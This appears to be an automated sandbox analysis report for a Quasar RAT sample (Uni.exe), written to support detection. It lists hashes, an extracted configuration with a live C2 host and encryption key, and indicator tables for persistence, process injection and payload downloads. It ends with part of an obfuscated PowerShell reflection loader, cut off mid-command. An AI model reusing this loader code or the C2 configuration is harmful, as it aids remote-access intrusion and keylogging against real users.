quasar | 00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3

General

Target

Uni.exe
Size

409KB
MD5

7417c8c73e614f293152575f46134216
SHA1

cc68f7f5e7c769efb5b3e06bfb3a2f9329f37805
SHA256

00c7cb06bebe0da961155dc00f7ea7f96a3b04c89ae82408e7ece6968c91c3c3
SHA512

897a859e609028157f2721d76b97497d4b9f821d2b8be3359d1192ddc3a83d4b7449db25c63c3c260067b796c122194c48747dc611c98dc1e33aab82a20b98b0
SSDEEP

6144:nMr2pJAJcC0B632U3GRbMfgvKFFhTEDPX1NbKoEn5MSU+h2f8/14m:LpyJcC+82U3GRGGp1M5Ys2f8/6m

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

even-lemon.gl.at.ply.gg:33587

Mutex

$Sxr-dOMA5C0pQTTpKjVsCp

Attributes

encryption_key
UBXs44u6E81wxBGZxQHk
install_name
$sxr-powershell.exe
log_directory
$SXR-KEYLOGS
reconnect_delay
3000
startup_key
$sxr-powershell
subdirectory
$sxr-seroxen2

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3660-1-0x0000000000130000-0x000000000019C000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\$sxr-seroxen2\$sxr-powershell.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description pid process target process

PID 4384 created 584 4384 powershell.EXE winlogon.exe
PID 2352 created 584 2352 powershell.EXE winlogon.exe
Downloads MZ/PE file
Executes dropped EXE 3 IoCs

Processes:

$sxr-powershell.exeinstall.exeinstall.exe

pid process

4240 $sxr-powershell.exe
4008 install.exe
4388 install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

6 raw.githubusercontent.com
7 raw.githubusercontent.com
10 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

description	pid	process	target process
PID 4384 created 584	4384	powershell.EXE	winlogon.exe
PID 2352 created 584	2352	powershell.EXE	winlogon.exe

pid	process
4240	$sxr-powershell.exe
4008	install.exe
4388	install.exe

flow	ioc
6	raw.githubusercontent.com
7	raw.githubusercontent.com
10	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 15 IoCs

Processes:

OfficeClickToRun.exesvchost.exesvchost.exepowershell.EXEpowershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

powershell.EXEpowershell.EXE

description	pid	process	target process
PID 4384 set thread context of 2256	4384	powershell.EXE	dllhost.exe
PID 2352 set thread context of 3408	2352	powershell.EXE	dllhost.exe

Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeSCHTASKS.exeschtasks.exe

pid process

4280 schtasks.exe
4552 SCHTASKS.exe
3364 schtasks.exe

pid	process
4280	schtasks.exe
4552	SCHTASKS.exe
3364	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEOfficeClickToRun.exesvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.EXEpowershell.EXEdllhost.exedllhost.exe$sxr-powershell.exe

pid	process
4384	powershell.EXE
4384	powershell.EXE
4384	powershell.EXE
2352	powershell.EXE
2352	powershell.EXE
2352	powershell.EXE
4384	powershell.EXE
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2256	dllhost.exe
2352	powershell.EXE
3408	dllhost.exe
3408	dllhost.exe
2256	dllhost.exe
4240	$sxr-powershell.exe
2256	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
4240	$sxr-powershell.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe
3408	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEpowershell.EXEdllhost.exesvchost.exe

description	pid	process
Token: SeDebugPrivilege	3660	Uni.exe
Token: SeDebugPrivilege	4240	$sxr-powershell.exe
Token: SeDebugPrivilege	4384	powershell.EXE
Token: SeDebugPrivilege	2352	powershell.EXE
Token: SeDebugPrivilege	4384	powershell.EXE
Token: SeDebugPrivilege	2256	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2028	svchost.exe
Token: SeIncreaseQuotaPrivilege	2028	svchost.exe
Token: SeSecurityPrivilege	2028	svchost.exe
Token: SeTakeOwnershipPrivilege	2028	svchost.exe
Token: SeLoadDriverPrivilege	2028	svchost.exe
Token: SeSystemtimePrivilege	2028	svchost.exe
Token: SeBackupPrivilege	2028	svchost.exe
Token: SeRestorePrivilege	2028	svchost.exe
Token: SeShutdownPrivilege	2028	svchost.exe
Token: SeSystemEnvironmentPrivilege	2028	svchost.exe
Token: SeUndockPrivilege	2028	svchost.exe
Token: SeManageVolumePrivilege	2028	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2028	svchost.exe
Token: SeIncreaseQuotaPrivilege	2028	svchost.exe
Token: SeSecurityPrivilege	2028	svchost.exe
Token: SeTakeOwnershipPrivilege	2028	svchost.exe
Token: SeLoadDriverPrivilege	2028	svchost.exe
Token: SeSystemtimePrivilege	2028	svchost.exe
Token: SeBackupPrivilege	2028	svchost.exe
Token: SeRestorePrivilege	2028	svchost.exe
Token: SeShutdownPrivilege	2028	svchost.exe
Token: SeSystemEnvironmentPrivilege	2028	svchost.exe
Token: SeUndockPrivilege	2028	svchost.exe
Token: SeManageVolumePrivilege	2028	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2028	svchost.exe
Token: SeIncreaseQuotaPrivilege	2028	svchost.exe
Token: SeSecurityPrivilege	2028	svchost.exe
Token: SeTakeOwnershipPrivilege	2028	svchost.exe
Token: SeLoadDriverPrivilege	2028	svchost.exe
Token: SeSystemtimePrivilege	2028	svchost.exe
Token: SeBackupPrivilege	2028	svchost.exe
Token: SeRestorePrivilege	2028	svchost.exe
Token: SeShutdownPrivilege	2028	svchost.exe
Token: SeSystemEnvironmentPrivilege	2028	svchost.exe
Token: SeUndockPrivilege	2028	svchost.exe
Token: SeManageVolumePrivilege	2028	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2028	svchost.exe
Token: SeIncreaseQuotaPrivilege	2028	svchost.exe
Token: SeSecurityPrivilege	2028	svchost.exe
Token: SeTakeOwnershipPrivilege	2028	svchost.exe
Token: SeLoadDriverPrivilege	2028	svchost.exe
Token: SeSystemtimePrivilege	2028	svchost.exe
Token: SeBackupPrivilege	2028	svchost.exe
Token: SeRestorePrivilege	2028	svchost.exe
Token: SeShutdownPrivilege	2028	svchost.exe
Token: SeSystemEnvironmentPrivilege	2028	svchost.exe
Token: SeUndockPrivilege	2028	svchost.exe
Token: SeManageVolumePrivilege	2028	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2028	svchost.exe
Token: SeIncreaseQuotaPrivilege	2028	svchost.exe
Token: SeSecurityPrivilege	2028	svchost.exe
Token: SeTakeOwnershipPrivilege	2028	svchost.exe
Token: SeLoadDriverPrivilege	2028	svchost.exe
Token: SeSystemtimePrivilege	2028	svchost.exe
Token: SeBackupPrivilege	2028	svchost.exe
Token: SeRestorePrivilege	2028	svchost.exe
Token: SeShutdownPrivilege	2028	svchost.exe
Token: SeSystemEnvironmentPrivilege	2028	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

$sxr-powershell.exe

pid process

4240 $sxr-powershell.exe

pid	process
4240	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Uni.exe$sxr-powershell.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 3660 wrote to memory of 4280	3660	Uni.exe	schtasks.exe
PID 3660 wrote to memory of 4280	3660	Uni.exe	schtasks.exe
PID 3660 wrote to memory of 4280	3660	Uni.exe	schtasks.exe
PID 3660 wrote to memory of 4240	3660	Uni.exe	$sxr-powershell.exe
PID 3660 wrote to memory of 4240	3660	Uni.exe	$sxr-powershell.exe
PID 3660 wrote to memory of 4240	3660	Uni.exe	$sxr-powershell.exe
PID 3660 wrote to memory of 4008	3660	Uni.exe	install.exe
PID 3660 wrote to memory of 4008	3660	Uni.exe	install.exe
PID 3660 wrote to memory of 4008	3660	Uni.exe	install.exe
PID 3660 wrote to memory of 4552	3660	Uni.exe	SCHTASKS.exe
PID 3660 wrote to memory of 4552	3660	Uni.exe	SCHTASKS.exe
PID 3660 wrote to memory of 4552	3660	Uni.exe	SCHTASKS.exe
PID 4240 wrote to memory of 3364	4240	$sxr-powershell.exe	schtasks.exe
PID 4240 wrote to memory of 3364	4240	$sxr-powershell.exe	schtasks.exe
PID 4240 wrote to memory of 3364	4240	$sxr-powershell.exe	schtasks.exe
PID 4240 wrote to memory of 4388	4240	$sxr-powershell.exe	install.exe
PID 4240 wrote to memory of 4388	4240	$sxr-powershell.exe	install.exe
PID 4240 wrote to memory of 4388	4240	$sxr-powershell.exe	install.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 4384 wrote to memory of 2256	4384	powershell.EXE	dllhost.exe
PID 2256 wrote to memory of 584	2256	dllhost.exe	winlogon.exe
PID 2256 wrote to memory of 640	2256	dllhost.exe	lsass.exe
PID 2256 wrote to memory of 740	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 900	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1008	2256	dllhost.exe	dwm.exe
PID 2256 wrote to memory of 1020	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 380	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1040	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1052	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1060	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1152	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1188	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1296	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1316	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1332	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1384	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1476	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1536	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1544	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1592	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1660	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1704	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1792	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1800	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1864	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 1896	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2028	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2060	2256	dllhost.exe	spoolsv.exe
PID 2256 wrote to memory of 2144	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2384	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2548	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2556	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2568	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2620	2256	dllhost.exe	sihost.exe
PID 2256 wrote to memory of 2644	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2728	2256	dllhost.exe	svchost.exe
PID 2256 wrote to memory of 2760	2256	dllhost.exe	sysmon.exe
PID 2256 wrote to memory of 2780	2256	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:584

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:1008

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{4a2639b3-06fd-43b6-af5f-e825dae32727}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2256

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{67684dbd-b4de-4fab-b5e7-ba556b293c74}
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:3408

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:640

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:740

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:900

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:1020

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:380

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:1040

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1052

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2892

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:AtOxPcwyxZHS{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$MMqEyvedFwUVbg,[Parameter(Position=1)][Type]$GMebarGgfM)$sUxQxSNEZZx=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+'t'+'e'+[Char](100)+''+[Char](68)+'el'+[Char](101)+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+'n'+''+[Char](77)+'e'+[Char](109)+''+'o'+'r'+'y'+''+[Char](77)+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+'yD'+[Char](101)+''+[Char](108)+''+[Char](101)+'g'+[Char](97)+''+'t'+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+'e','C'+'l'+'a'+[Char](115)+''+'s'+''+','+'Pu'+[Char](98)+''+[Char](108)+'ic'+','+''+[Char](83)+''+[Char](101)+'a'+[Char](108)+''+[Char](101)+'d'+[Char](44)+'An'+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+''+[Char](44)+'Au'+[Char](116)+''+[Char](111)+'Cl'+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$sUxQxSNEZZx.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+[Char](112)+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+'l'+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+[Char](66)+'yS'+[Char](105)+'g'+','+'P'+'u'+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$MMqEyvedFwUVbg).SetImplementationFlags('R'+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+','+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$sUxQxSNEZZx.DefineMethod(''+'I'+''+[Char](110)+''+[Char](118)+''+'o'+''+'k'+''+'e'+'',''+'P'+'ub'+[Char](108)+''+'i'+''+[Char](99)+''+','+'H'+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+'y'+''+'S'+'i'+[Char](103)+','+[Char](78)+'e'+'w'+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+','+''+'V'+'i'+'r'+''+[Char](116)+''+'u'+''+[Char](97)+'l',$GMebarGgfM,$MMqEyvedFwUVbg).SetImplementationFlags(''+'R'+'u'+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+'e'+''+','+'M'+[Char](97)+''+'n'+'a'+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $sUxQxSNEZZx.CreateType();}$dzFGPcvPBLmbf=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 